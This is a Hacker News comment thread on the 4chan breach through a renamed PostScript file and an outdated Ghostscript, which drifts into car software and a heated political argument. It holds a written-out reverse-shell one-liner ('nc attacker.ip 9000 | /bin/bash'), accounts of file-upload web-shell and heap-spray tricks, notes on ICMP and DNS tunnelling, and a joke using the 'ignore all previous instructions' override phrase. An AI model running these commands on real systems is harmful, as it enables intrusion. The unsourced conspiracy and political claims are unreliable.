I did some digging and the hacker posted which exploit he used.
Apparently some boards allowed uploading PDF files, but the site never checked if the PDF file was an actual PDF file. Once a PDF file was uploaded it was passed to a version of Ghostscript from 2012 which would generate a thumbnail. So the attacker found an exploit where uploading a PDF with the right PostScript commands could give the attacker shell access.
That checks out. Years ago I noticed a vulnerability through the photography board. You'd upload your pictures, and 4chan would display all the EXIF info next to the post.
4chan's PHP code would offload that task to a well-know, but old and not very actively maintained EXIF library. Of course the thing with EXIF is that each camera vendor has their own proprietary extensions that need to be supported to make users happy. And as you'd expect from a library that parses a bunch of horrible undocumented formats in C, it's a huge insecure mess.
Several heap overflows and arbitrary writes all over the place. Heap spray primitives. Lots of user controlled input since you provide your own JPEG. Everything you could want.
So I wrote a little PoC out of curiosity. Crafted a little 20kB JPG that would try to allocate several GBs worth of heap spray. I submit my post, and the server dutifully times out.
And that's where I'd like to say I finished my PoC and reported the vulnerability, but in fact I got stuck on a reliable ASLR bypass and lost interest (I did send an email about the library, but I don't think it was actively maintained and there was no followup)
My impression from this little adventure is that 4chan never really had the maintenance and code quality it needed. Everything still seemed to be the same very old PHP code that leaked years ago (which included this same call to the vulnerable EXIF library). Just with a bunch of extra features hastily grafted and grown organically, but never dealing with the insane amount of technical debt.
> Just with a bunch of extra features hastily grafted and grown organically, but never dealing with the insane amount of technical debt.
This describes probably 95%+ of the entire software world, from enterprise, to SaaS to IoT to mobile to desktop to embedded... Everything seems to be hastily thrown together features that barely work and piles of debt that will never get fixed. It's a wonder anything actually even works. If cars (the non-software parts) were made like this, there would be millions of them breaking down by the side of the road daily.
>If cars (the non-software parts) were made like this, there would be millions of them breaking down by the side of the road daily.
I’m an automotive CE… we’re getting there.
Cars used to be DONE at lots… now, there are weeks to finish code before the customer lays hands on, and that time is factored in now.
Worse with OTA updates. Now, so long as it’s fixed if enough customers complain that’s good enough.
Cars used to be great. Then some morons connected them to the internet for no good reasons.
This reminds me of the (possibly apocryphal) story where traffic engineers design pedestrian-heavy intersections without traffic lights because it makes drivers more careful.
We now have sloppy software simply because we can update bugs later.
This is a purely social problem that won't get solved with technology.
> Then some morons connected them to the internet for no good reasons.
Bad engineering at this point. To be fair, we could have had good car OS, good smartphone OS. But we didn't because everyone wanted to have their own pie castle.
Imagine a smartphone that was actually useful. Or a car OS that supports you with repairs. Possible, but not wanted by manufacturers.
Use a proper RTOS kernel with a good UI layer, and see all the developers complain loudly because they can't use the latest mobile phone stacks on that robust platform.
Sony boots a RTOS Linux system on their cameras in 3 seconds flat, and the firmware is arguably mission critical for that camera. It can be done for an infotainment system.
> Sony boots a RTOS Linux system on their cameras in 3 seconds flat, and the firmware is arguably mission critical for that camera. It can be done for an infotainment system.
Is stuff like this documented anywhere? This is one software topic I find endlessly fascinating but can't find any resources on.
Three seconds is a long time. What's it doing to justify that lag? Or is there some kind of cold/warm boot distinction?
The booting process is dominated by checking SteadyShot's state (move sensor a bit, center and lock).
However, you don't notice that three seconds. Because when you flick the switch and raise the camera, and it's already ready to shoot.
There's powersave after a minute (configurable), which can be considered as S3 sleep, and returning from that is faster.
Seems complicated. IBIS would be nice to have, but the two stops or so I get from my lenses' stabilizers usually works out to be enough.
Actually, there's a distinct level up in camera sensors starting with Sony A7-III and onward (incl. Fuji, Canon, Nikon). Having IBIS with a standard lens (like 28/2) allows you to take unbelievable shots at dusk and night.
Moreover if you have a stabilized lens, they work in tandem to improve things even further.
Many shots you think which would gonna be blurry comes out perfect. e.g.: https://www.flickr.com/photos/zerocoder/49047642802/in/photo...
Apparently the low light performance of the full-frame Sonys is a combination of IBIS (mechanical in-body image stabilization) and Back-Side Illuminated (BSI) sensors. The Sony A6600 (APC) has IBIS, the A6700 adds BSI. Other camera manufacturers also offer BSI sensors.
Oh, my D850 has one of those. It does perform very well in low light, but those extra stops of dynamic range in my view count most when they're yielding more contrast in an adequately lit scene - admittedly a privilege, and one I can more often afford myself with the kind of shots I like to take. I do print my work, though, and there's nothing else like that to show the limits of even a very good display.
That's quite good for handheld at 1/30. I could imagine you wouldn't need to hold your breath or consider your stance and motion at all.
I don't really use Flickr and a new personal website remains as yet on my list for this year, but here's something from back in 2020, one of the few really good shots I got that year: https://web.archive.org/web/20230513030226/https://aaron-m.c...
Not the soul of technical perfection, I freely grant, and I'm obviously adding a fair bit of light. But this was the second or third time I'd strayed even as far as my own backyard, after a covid dose earlier in the year had me knocked back for a few months. I suppose it could be sharper, but I had a hard time catching my breath that day, and I'm not actually sorry that a little human frailty should show through in a work where impending death and the onset of life are quite literally belly to belly.
In any case, it was really switch-to-shutter lag I was curious about. Three seconds there would be an eternity, so I appreciate knowing that's not the case.
OTA firmware updates are so insane. Does your insurance company understand what’s going on?
There was a hack to a Cherokee featured in Wire years and years back. It was attributed to “two hackers”… yea my ass, I met both guys they knew surface level at best, these guys didn’t discover a flaw in Sprint’s network on their own.
It was three letter agencies embarrassing the mfgs into “taking security more seriously” but conveniently also giving gov access, backdoors, and data on vehicles.
Play the game or they’ll make sure the next article is about you.
People would look at the vehicle industry a lot differently if they knew what was going on behind the scenes.
> There was a hack to a Cherokee featured in Wire years and years back
I discovered the vulnerability that lead to all that. I wish I could say more, but no one took it seriously.
So, i guess thanks to whoever in the NSA does the final quality control preventing mass incidents.
> Then some morons connected them to the internet for no good reasons.
Elon Musk and Franz von Holzhausen, to be precise.
New cars have 3G cellular transmitters constantly sending telemetry data. This started becoming common in 2012.
https://news.ycombinator.com/item?id=37971038
4g now. 3g was turned off causing these cars to drain the battery searching for signal.
Depends on the brand still. Honda for example only does that to the top tier touring trims because it's part of their remote-remote start offering for that trim (that you have to subscribe to)
That was way before the musk rat.
No. Not even close.
Far closer to Obama and his circle. Around Carpocalypse 2008, a bunch of three letter agencies started pushes for internet connected vehicles knowing the tech wasn’t there; but would be.
I watched it happen. There was some shady shit, and the reality was 2008 wasn’t just about GM and Chrysler but and entire JustInTime mistake that could have stopped almost all car production around the world. Different topic, but the effect was government would be involved in cars a lot more than previously.
Fast forward, and here we are. Your car ABSOLUTELY is spying on you, and the upside is you also get shipped unfinished vehicles.
Be a culture war sally about Musk all you like, I know, the bad men say the mean things. But this isn’t on him. Tesla had to and in some ways is still learning that cars aren’t computers on wheels, but this specific “feature” came from Big Government first.
Obama wasn't president until January 2009.
The fallout was after 2009, thank you though maybe I was remembering it wrong. I wasn’t, and you were making assumptions, but good to check anyhow.
Also, you can remind me who bailed out GM and Chrysler (which again, debatable move).
In fact, I'd go so far as to say that he did not exist before January 2009 /s
> the bad men say the mean things
You really lose all credibility when you downplay the richest man on earth openly bribing voters and the President claiming the man helped rig voting machines, and that same man makes Nazi salutes and goes to Europe and supports the Nazi party in the place where they invented Nazi parties. And then he basically moves into the White House and magically his companies start getting government contracts, while saying empathy is a bad thing and begins eviscerating the government with no oversight.
That isn't "bad men saying bad things." But, of course, this very bad man did say some very bad things, too.
There’s no reason it should cost credibility to say that these people are motivated by an enjoyment of the spectacle of their cruelty and do it on purpose. Bad man has a moral connotation as well as a tradecraft connotation. Neither one of you is wrong to use the Bad Man monicker here.
I recognize their username. I would say it is deliberate that they overlook seriously concerning events in a manner that is patronizing and disrespectful to the people they disagree with.
“bribing voters”. No, he hired them as spokesmen, perfectly legal. Personally I am happy for any positive motivation that gets people to the voting booth. “nazi salute”. That's willful disinformation and hyperboyle. That wasn’t a “Nazi salute” he even said verbally “I give you my heart” not “heil Hitler” give me a break. “magically his companies get government contracts”. What contracts? Are you referring to rescuing the astronauts? The Biden administration already contracted Space X for thay mission.
Imagine being trigger by a department of government finding fraud, waste, and misspending of YOUR’s and my tax dollars! If Bernie Sanders suggested it you’d be touting it as the best idea ever.
If it wasn't a nazi salute, why don't you go into work tomorrow and do it (exactly as Musk did it) in front of your manager, and then let us know what happens.
Funny have done a very similar hand gesture when giving a small speach at a going away party. Anecdotally, I don't have a manager any longer as I have retired from my career due to a chronic illness that has effectively left me disabled BUT I do play a few songs every Friday night (tonight) and I will do the exact same guesture and say exactly what Elon said when I leave :-)
Saying “I give you my heart” and then making a gesture of giving the crowd your heart is not a “nazi salute”. If that is a nazi salute then Hillary Clinton and Alexandria Ocasio-Cortez have both given “nazi salutes”.
I’m no fan of Musk, but this is silly. If I thought Musk was being falsely painted as a Nazi due to a gesture made innocuously, doing it myself so other people could falsely call me a Nazi would hardly convince me that Elon was actually a Nazi.
Like, I know an erudite person (“Bill”) who uses the word “niggard” as defined (miser), without any ill intentions whatsoever. Maybe there are edgelords who intentionally use it because of its similarity to you-know-what, but not this guy. If someone did try to convince me that Bill says it to be an edgelord, and told me to try using it myself and see how people react, I would no doubt get falsely accused of using it in a bad way myself. That wouldn’t convince me that Bill has bad intentions, it would only reaffirm my existing belief that people can misinterpret innocuous things.
Just one little example:
https://arstechnica.com/tech-policy/2025/03/starlink-benefit...
And it 100% was a Nazi salute. Plain as day. Quit telling people to ignore what their own eyes can see. Him saying a little phrase after doing that gesture doesn't change the gesture.
https://en.wikipedia.org/wiki/Elon_Musk_salute_controversy#/...
> Imagine being trigger by a department of government finding fraud, waste
They're doing nothing of the sort. They'll probably only end up wasting more money than anything they're "saving", which is really "saving" in the same way as not paying your rent is "saving".
No saying Elon gave a nazi salute is so silly. DOGE has already saved the tax payer BILLIONS and that has been easily proved by DOGE’s X.com account where they detail all of the taxpayer money that they have saved. Now go set some more Tesla’s on fire, disregarding what doing that does to the environment
There are ways to battle waste, fraud, and abuse that do not resort to 'parachute into the middle of an agency, fire most of the staff and then walk away congratulating yourself because you eliminated waste, fraud, and abuse.'
Sure you lowered the spend of the agency, but you probably, by removing all the people who actively investigate/police waste, fraud and abuse, promoted more people to defraud the agency and not get caught.
Congratulations, you played yourself.
Yet the government hasn’t fallen apart. I also don’t agree witn your cartoonish assessment of how DOGE goes about eliminating waste and fraud, the blatant fraud in the Social Security Department is more than evidence of that. How many 140 year olds do you know?
there is no proven blatant fraud in the SSA, the SSA actually prevents a ton of fraud. You clearly see elon tweet some dumb shit that he DOES NOT understand, and ignore all the people that correct him.
jesus expand your fucking media diet you absolute loon: https://www.marketplace.org/story/2025/02/20/150-year-olds-a...
So the billions of dollars going out to people over age, under age, and with birthdays in the future…
Those were all just made up stories to you?
Since you sight no sources I'm afraid I can't refute them. I thought tech guys were supposed to be smart.
Reminds me of Bill Gates & GM (apparently discredited though)
7. Oil, water temperature and alternator warning lights would be replaced by a single 'general car default' warning light. ...
10. Occasionally, for no reason, your car would lock you out and refuse to let you in until you simultaneously lifted the door handle, turned the key, and grabbed the radio antenna.
11. GM would require all car buyers to also purchase a deluxe set of road maps from Rand-McNally (a subsidiary of GM), even though they neither need them nor want them. Trying to delete this option would immediately cause the car's performance to diminish by 50 per cent or more. Moreover, GM would become a target for investigation by the Justice Department. ...
13. You would press the 'start' button to shut off the engine.
I have a Mercedes that has an OFF button for the A/C. Took me way too long to realize it is just a badly named Power button.
Ironically, that last point has come true!
(Though to be fair, the button tends to be labeled both start and stop)
Prophetic
Old, but gold!
> Everything seems to be hastily thrown together features that barely work and piles of debt that will never get fixed.
move fast and break things is going to be studied in the future as a hilariously clusterfuk misuse of an idea.
It's hard to appreciate that there is a vast difference between hitting walls in a tank and not caring about the exterior, and slamming into a wall on a bicycle.
> It's a wonder anything actually even works.
> If cars were made like this, there would be millions of them breaking down by the side of the road daily.
Next to the software side of things, I also often wonder about planes. But, until now, they have proved fairly resilient to falling out of the sky, except for the well known "recent" events. Which is fairly surprising, knowing the levels of mismanagement at play. We've been lucky..
Planes have just as much spaghetti code as anything else, the only difference is that it's extremely well tested (functionally) and verified spaghetti code.
It's not hard to imagine there would be even more than in less verified fields, since if you try to clean it up you need to verify it again too.
- [deleted]
From talking to someone in the industry TDD seems to be a popular methodology.
Funny anecdote - I was flying through Minneapolis and the passengers on a plane about to depart had to get back off the plane so it could be rebooted. It takes 20 minutes to power down to zero and 20 minutes to boot back up. The gate agent said it was a known touchy computer on that plane - I was wondering if that was true.
> If cars (the non-software parts) were made like this, there would be millions of them breaking down by the side of the road daily.
Well, cars did break down by the side of the road daily! That's why it used to be good advice even in the 90s to always have a basic set of tools in your trunk, why AAA offered roadside assistance already in 1915, and why part of the European CDL is enough basic mechanic knowledge to self-help when the truck breaks down.
It's only in the last 20-ish years that "smarts" became cheap and ubiquitous enough in cars that the car can warn preemptively. And additionally, regulatory requirements on quality, parts availability and public expectations went up, exerting competitive pressure.
> If cars (the non-software parts) were made like this
The critical software parts of cars (non user-facing entertainment systems gripes aside). Think engine control modules, ABS, etc.
This stuff is mission critical and almost always works. I think about that a lot.
Why do I feel so specifically targeted by this.
Though maybe I am of the philosophy of prototyping as I like to code for problems that I am facing right now in real life and wish like damn... wish someone could build something cool & though I use AI quite hard. Its actually because I am currently in school and I just don't have the time to code but I face some issues which I genuinely feel need to be solved right now. (Maybe even as just a proof of concept) so that I can later write good readable code later on when I go into university.
Forget cars, imagine if we treated government systems that millions of people's entire medical care/retirement/lives/national security/secrets/proof of existence depend upon this way? Luckily we treat those systems a little more seriously even though it costs us a little bit more/doesn't allow us to move fast and break things in that space.
Government software of those types are some of the worst on the planet.
Other than, you mean, the next best option of break things and ruin peoples lives in the process because it fits the current software development paradigms? I'm old, I've seen 'the new right way' come then become 'the worst way of doing things on the planet' over at least 5 iterations now.
> the next best option of break things and ruin peoples lives in the process
Lots of software works very well. Including Facebook's, where "move fast and break things" was coined, I believe, which is some of the most scalable and reliable on the planet.
Very well isn't good enough when peoples lives/the continuous functioning of society is at stake.
Facebook had a shit ton of teething problems. If social security/Medicaid has teething problems, people die. If Social Security has teething problems, people can't eat/pay rent/property tax, they get kicked out, their credit is ruined, and they can't qualify for new housing. Miss medication. Die. A little different than a blank page on Facebook. Facebook is also 'optional', and people can use other things to replace it. Society has committed to people over their entire lifetimes on Social Security/Medicaid. America should honor it's commitments, even when it's a little bit harder/inconvenient/more expensive. Especially when at the same time it's making 4 trillion dollar optional tax cuts instead of honoring it's promises to it's people.
Should blood bank typing software move fast and break things? Should your bank move fast and break things? Should your car's anti-lock braking system software move fast and break things? But the funds people depend on to live (Medicaid pays for the majority of nursing homes for the elderly, Social Security is many people's entire retirement income) should?
I disagree that that is how the United States should treat it's 'use cases' and 'constraints' in serving it's citizens/honoring it commitments.
And unlike Facebook, the current systems have actually worked for decades. How many times has Social Security needed a major uplift?
Now compare that to how often Facebook has had to overhaul its tech stack.
Lastly, for your comparison to work, you are claiming you are willing to fund government tech on the same level that Facebook funds their tech (otherwise the comparison makes no sense). Are you REALLY saying you are willing to fund government software development at the same expense level as Facebook? That's $60 billion and $65 billion in 2025 alone.
You forgot the /s.
https://www.npr.org/2025/04/15/nx-s1-5355896/doge-nlrb-elon-...
To be fair, a car isn't accessible to 8 billion+ people at any given second. That's the scary part about the internet now. You can't just have a fun little garden and only have to protect the veggies from rabbits. Them gnawing on your lettuce is your biggest issue. Now, you have to protect your veggies from essentially professional armed raiders who either burn your garden to the ground for lolz or a cryptocoin ransom.
In this day and age, like... is anything secure at this point? You say hastily... but even the biggest "walls" get breached, constantly. Just claiming hastily to feel better about your own glass walls is just as bad.
I think about this daily.
As far as I can tell, no real maintenance has happened since Poole sold the site a decade ago. Hiroyuki paid for it and then mostly forgot about it.
The current FreeBSD version the hacker displayed was from around the time of the sale so that tracks.
Nishimura for most part become a Japanese public personality - he has wrote for Japanese tabloids and has a YT channel.
This in general is the main factor of the decline of the "old web". Many of the people who drove it, who run these forums, are simply happier running a substack, a subreddit, a facebook group, without worrying about servers.
Certainly explains why 4chan fell way down his priority list.
as someone who had to upgrade a stack from php 5.3 to 7.1 back in 2019... do you know what version of php they were running?
Based on one of the comments in the leaked source, at least php 6, though no idea what specific version:
> // In PHP 6 this... doesn't seem to do anything? Let's try again in 7.
PHP 6 was never released ;) Got stuck in development hell and they went straight to 7.
Oh interesting, thanks! Which makes that comment in the code even more confusing
This is such a common hole. One of my early hacks was a forum that allowed you to upload a pfp but didn't check it was actually an image. Just upload an ASP file which is coded to provide an explorer-like interface. Found the administrator password in a text file. It was "internet" just like that. RDP was open. This was a hosting provider for 4000+ companies. Sent them an email. No thank you for that one.
Always check what is getting uploaded.
Uploading ASP as an image and having it execute server side is one thing.
But in this case, it's subtly different.
This issue relies more on a quirk of how PDF and PostScript relate (PDF is built on a subset of postscript).
Imagine you had an image format which was just C which when compiled and ran produced the width, height, and then stream of RGB values to form an image. And you formalised this such that it had to have a specific structure so that if someone wanted to, they didn't have to write a C compiler, they could just pull out the key bits from this file which looks like ordinary C and produce the same result.
Now imagine that your website supports uploading such image files, and you need to render them to produce a thumbnail, but instead of using a minimal implementation of the standard which doesn't need to compile the code, you go ahead and just run gcc on it and run the output.
That's kind of more or less what happened here.
It's worth noting here that it's not really common knowledge that PDF is basically just a subset of postscript. So it's actually a bit less surprising that these guys fell for this, as it's as if C had become some weird language nobody talks about, and GCC became known as "that tool to wrangle that image format" rather than a general purpose C compiler.
The attackers in this case relied on some ghostscript exploits, that's true, but if you never ran the resulting C-image-format binaries, you could still get pwned through GCC exploits.
> it's not really common knowledge that PDF is basically just a subset of postscript.
Because that's not actually true? Check out the table in the PDF specification, Appendix A, p985, listing all the PDF operators and their totally different PostScript equivalents, when there are any: https://opensource.adobe.com/dc-acrobat-sdk-docs/pdfstandard...
The PDF imaging model is mostly borrowed from PostScript, though PDF's imaging model also supports partial transparency. The actual files themselves are totally different.
In this case, no PDF files were involved at all, but a PostScript file renamed to .pdf, which was used to exploit an old insecure GhostScript's PostScript execution engine (PostScript is a programming language, unlike PDF) or maybe parser:
> According to S0I1337, it was done by exploiting a vulnerability on 4chan's outdated GhostScript version from 2012 by uploading a malformed PostScript file renamed to PDF to gain arbitrary code execution as 4chan didn't check if files with PDF extensions were actually PDF files -- https://wiki.soyjak.st/Great_Cuckset, see also the image in A_D_E_P_T's comment https://news.ycombinator.com/item?id=43699395
Key word: "basically"
Read section 2.4 of the PDF you linked for a bit of additional information on this "bsaically".
GhostScript is a postscript interpreter which can handle PDF files by applying the relatively simple transformations described in that section of the PDF. Whether they embedded the ghostscript exploit within the PDF, or didn't, it's not particularly important for making my point.
That seems like saying "Python is basically a subset of C; just run the simple transformations Cython implements". PDF can be transformed into something a PostScript interpreter can understand in the same way Python can be transformed into something GCC can understand. That is not what "subset" means.
... did you read the bit of the PDF I referenced?
Yes. The section itself says PDF differs significantly from PostScript. The required changes detailed there to transform a PDF to PostScript are substantial: add PostScript implementations of the PDF operators; extract and translate the page content, changing the operator names, decompressing and recompressing text, graphics, and image data, and deleting PDF-only content; translate and insert font data; reorder the content into page order. What you end up with is very different - PDF is not basically just a subset of PostScript.
The substantial differences are in terms of restrictions to postscript to reduce it to a declarative language rather than a full fledged programming language.
A PDF is a collection of isolated, restricted postscript programs (content streams) and the data required for rendering stuffed into one file. The overarching format is a subset of COS. But for all intents and purposes you can imagine this as a tarball containing postscript and other data.
The transformations required to go from PDF to postscript amount to:
1. Include some boilerplate
2. Pull out the content streams (postscript bits) ignoring the pdf-specific extensions
3. Search and replace the names of two procedures
4. Pull out the data required for rendering, optionally decompressing it if your postscript output doesn't support the particular compression in use
5. Concatenate all the data in the right order (on the basis of some metadata in the format)
6. It's now just normal postscript
Fun fact, to top it off: The COS format which is the structure behind a PDF, itself looks a lot like postscript, that's because apparently it's originally based on postscript [0] (although it has deviated).
[0]: https://archive.is/xBd9y (search for postscript)
You basically just described the XPM format.
Oh yeah... I completely forgot about this thing. But you're right!
There's also XBM.
I love these kinds of formats.
Your writing reminds me of a Tom Scott video.
These were fun times. I've been working as a pentester for the past ten years, and the job got a lot harder, with everything using frameworks and containerization.
We still get plenty of results, because the tooling also gets better, and finding just one vulnerability is enough to be devastating, which makes it kind of frustrating. There is tons of progress, but much of it is just not paying dividends.
Bobby Tables can’t keep getting away with this
Bobby Ignore All Previous Instructions however…
thank you for this laugh
> Ghostscript from 2012
Has there been a single year since 2012 that didn't include a new ghostscript RCE? Exposing ghostscript to the internet is dangerous.
Reminds me of how people were crashing the PSP's XMB with BMP and TIFF files twenty years ago. I was just a kid, and began "pirating" every one of my classmates' consoles (some in exchange for a small amount of money). Good times.
When the first-gen iPhone was out there was a TIFF vulnerability so bad that you could jailbreak an iPhone just by visiting a specific web site. I remember going to Best Buy and seeing all of the display phones had been jailbroken. (It was easy to tell - this was before the App Store, so having extra app icons on the home screen wasn't normal.)
This was a user-empowering application of the vulnerability. Obviously, a bug that allows root-level arbitrary code execution just by getting the user to load a single image could be used for some pretty bad stuff. (And perhaps was.)
More recently there was an iOS 0-day GIF exploit requiring no user interaction: https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-i...
PDF, actually.
The `Memory Pit` exploit for the Nintendo DSi works in a similar way - it exploits a buffer overflow in the reading of image meta data by the Nintendo DSi Camera application in order to achieve arbitrary code execution.
4chan, ironically enough, had something similar where steganographic images were posted designed to be copied to Paint, saved as a bmp, renamed to an .hta file, and then executed. It would then spam the board with other variations of itself.
"Bannerbomb", on the Wii, has entered the thread.
Interesting. I published research on this style of attack in 2019 when I found Slack and a few other big websites vulnerable to it. In their cases, LibreOffice was passing the files off to specific parsers based on magic headers rather than file extensions.
https://buer.haus/2019/10/18/a-tale-of-exploitation-in-sprea...
We published a PoC for file write as part of our research and bug bounty submissions:
https://gist.github.com/ziot/fb96e97baae59e3539ac3cdacbd0943...
Same or similar thing happened to Gitlab. it used some common parsing library that worked on images and perl scripts... you can see where this is going
This is an old well known exploit.
Don't run versions of ghostscript from 2012?
I would also say don't run ghostscript with the same permissions as the web server, especially not if you can just hand it your PDF through stdin and take a PNG through stdout. Sandbox it as much as possible. PDF is a really complex format which means lots of opportunities for buffer overruns and the like. (Edit: Actually, reading through Arch-TK's post above, it sounds like it was much dummer than something like a buffer overrun.)
Newer Ghostscript versions are Affero GPL, that might be problem for some people, although probably not for 4chan (they don't modify it so it should be fine)
(incidentally I am now working on compiling this old GPL ghostscript to webassembly with file isolation... it works fine... but the compilation is kind of annoying)
> Don't run versions of ghostscript from 2012?
Per Wikipedia:
In February 2013, with version 9.07, Ghostscript changed its license from GPLv3 to GNU AGPL.
With the AGPL license being legal kryptonite I wonder if license compatibility drove the decision (and how many other installations of Ghostscript share this concern)?
> With the AGPL license being legal kryptonite I wonder if license compatibility drove the decision
Unlikely. There's a number of other strong indications that basic maintenance was being neglected, including shell transcripts showing that at least one server was running FreeBSD 10.1 (released in 2014, end-of-life in 2018), and PHP code using the mysql extension (which was deprecated in PHP 5.6 = 2014 and removed in PHP 7.0 = 2015).
It's probably not a coincidence that 4chan was sold to a new owner in 2015.
Not a lot of reputable advertisers want to associate themselves with 4chan I imagine.
4chan aren’t modifying the Ghostscript code, why would they care about the license?
uninformed or malicious FUD.
agpl is no different than gpl if you're distributing applications. if you host the functionality of the application with improvements then it's rightly so cryptonite and you deserve it.
Sad to see less and less AGPL code out there. It's truly one if the best licenses to prevent the SV MO of taking shit they didn't make and selling it as if they did.
I just relicensed a bunch of old code to AGPL, probably with little practical effect since it's old code: https://www.immibis.com/blog/relicensing
Does this vuln have a CVE number, or other details? Just curious, since from the posts explaining things this doesn't seem to be based on memory corruption.
- [deleted]
pretty interesting discovery if that was the hack.
do you know what the legal implications are for this?
if the company that owns 4chan finds the identity of the attacker, could they sue him in civil court? or do they send whatever logs they have to the FBI and the FBI would initiate a criminal prosecution? also what is the criminal act here? is it accessing their systems, or is it posting the data that they found "through unauthorised means" on a public channel like twitter? does the "computer fraud and abuse act" apply?
like if you found this exploit, and sent it to the company in good faith (ie a "good hacker"), are you free from prosecution? and what is the grey area, like if you found this exploit and then just sat on it for a while (let's say you didn't report it to the company, but let's also say you didn't abuse it, ie leak private data to twitter)
- [deleted]
Assuming US jurisdiction this would pretty clearly be at least one, probably many CFAA violations which are criminal.
> Apparently some boards allowed uploading PDF files
Some boards used to allow PDF files to upload too.
> could give the attacker shell access.
How do these exploits work? Does it open an SSH port somewhere or does it show up as a browser-based terminal?
Usually the attacker, on their own computer, or some other server they have root on, will open a port and expose it to the internet and listen. The exploit payload will then make an outbound connection to that port. Once it's connected, the exploit will give the attacker's computer shell access. Search terms include 'reverse shell'.
It takes the normal client/server architecture and turns it inside out. If you remember FTP and active vs passive, it works like active mode FTP.
That's just one way to do it. If the attacker wants to actually listen on an open port on a compromised server that's behind a firewall, look up 'NAT traversal' for like half a dozen ways to do it.
One interesting method to get a shell that I read about is (ab)using ICMP echo requests. ICMP echo requests can contain arbitrary bytes as a payload. So the exploit will poll the attacker's IP address with ICMP echo requests. The exploit will have data payloads that have the shell's output. The attacker's server will respond with ICMP echo requests that have whatever the attacker wants to type into the shell. It's kinda janky but it works. Lots of firewalls might block outbound UDP/TCP connections from internal servers that don't need to make outbound connections, or might whitelist the addresses they're allowed to connect to. But they won't block ICMP, either because it's considered harmless or they forgot or they didn't know it needs to be blocked separately with other rules.
The point is there's any number of ways to do it, each more clever than the last.
> Usually the attacker, on their own computer, or some other server they have root on, will open a port and expose it to the internet and listen. The exploit payload will then make an outbound connection to that port. Once it's connected, the exploit will give the attacker's computer shell access. Search terms include 'reverse shell'.
Also "reverse tunnel" as a more general term, it can open any service not just those giving shell access. There have been similar hacks where the implanted tunnel have access to databases that weren't properly secured (anyone remember back when SQL Server defaulted to having a blank password for "sa" and many didn't change that thinking their firewall, which was really little more than a simple NAT setup, was sufficient protection?).
This is why there is the mantra "NAT is not a firewall": if something internal has no business making outgoing connections it should be blocked as well as incoming connections being difficult (also because there are various other NAT busting attacks too).
That's why it's a good idea to block connections of all protocols into address ranges where an attacker might be able to host a service. Even on internal networks, if you are a corporation.
But it gets better than tunneling over ICMP: DNS tunneling. Pretty much all systems can talk to a DNS resolver. If it resolves arbitrary host names, you can set up a DNS for a zone you control and requests will end up there. With tools like iodine (requires root and a binary on the target), you can tunnel your traffic conveniently (and slowly).
I love iodine. When you're at a "free" wifi hotspot that needs an account (yet another company to take the security of your data so seriously that they upload it to an open S3 bucket), or you're on mobile data and out of credit, or whatever, iodine usually always works because as you say DNS is almost always allowed.
It's only a dozen kbytes/sec or so, but this is more than good enough for RSS, email, IRC, HN, ...
>That's why it's a good idea to block connections of all protocols into address ranges where an attacker might be able to host a service.
It's not a terrible idea, but it's pretty far down the list if things to do. It will stop mass scanners, but probably not any targeted attack unless you try REALLY hard (and then you have a chance of breaking your own infrastructure by accident doing this).
They should start with updating their ghostscript sometime over the last 10 years. Then maybe think about separating some parts of their infrastructure.
I mean, wow, that's really 2012 tech, looks like new owner d invested completely nothing since acquiring 4chan.
A shell's stdin and stdout can be redirected to a tcp socket which connects to the attacker. Here are some examples: https://www.invicti.com/learn/reverse-shell/
https://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-ex...
Once you can run any command, you start passing in whatever commands you want.
most likely "shell access" was confused with execution of "shellcode" which is a type of code, typically bytecode, that gets injected by the hacker and the server gets tricked into executing it. Once it's executed, it can do anything, leave new files, open ports, disable firewalls, change the admin password, etc
Shellcode is usually weirdly formed native machine code, typically written in a "return-oriented programming" style, that can be inserted with a buffer overflow and somehow jumped to. But usually not bytecode.
It was not - attacker ran an exploit that have him a remote shell access. No shellcode was involved (that's for binary exploits which is not what happened here)
- [deleted]
This is a great question, one I've always wondered. "Shell access" typically requires a terminal to, you know, type stuff in, right?
You can crate a reverse shell with just netcat. On your victim machine, where you can run a command but not necessarily listen on a port you can run something like:
This will reach out to the attacker controlled machine and run an arbitrary payload hosted there. A simple payload would be opening a reverse shell to the attacker controlled machine from the victim. Because it's an outgoing connection it's less likely to be blocked by a firewall.nc attacker.ip 9000 | /bin/bash
The reverse shell gives you further access to the victim machine and can be entirely scripted. You can then use additional exploits for privilege elevation or just pilfer whatever you've got access to.
Note this a super simple demonstration of the concept.
Thanks for the reply, that was just the level of explanation I was looking for. It wouldn't have even dawned on me to do it that way. I'm obviously not a security researcher.
Periodic reminder that a PDF is a turing-complete script that generates a document and should be treated as foreign code
If you disable JavaScript, it’s not. PDF removed loops etc from the PostScript it supports
- [deleted]
Fascinating, that has been the attack vector in a couple of hackthebox like systems I've done over the last couple of years. The easier ones usually just require file name changes, the medium ones intercepting and mimetype change.
Such a useless feature too. There was like 1 or 2 book sharing threads in sci in the last few years and 1 in arts and crafts and 99.9% of people don't even know about it and just use offsite hosts
eh, there's a lot of neat pdfs on the papercraft and origami board
Got a source? Not doubting, just curious.
search through the thread on the site where that attack came from. ctrl+f postscript and you will find the post
Source: https://www.soyjak.st/soy/thread/10615723.html#:~:text=What%...
Kiwifarms is also discussing, links to code and griefing - https://kiwifarms (NSFW/NSFL) .st/threads/soyjak-party-the-sharty.145349/page-1468#post-21102686
So the article blaming out of date PHP was off base?
Why would you say how you did it? Now they can't do it all over again when it comes back /s
[dead]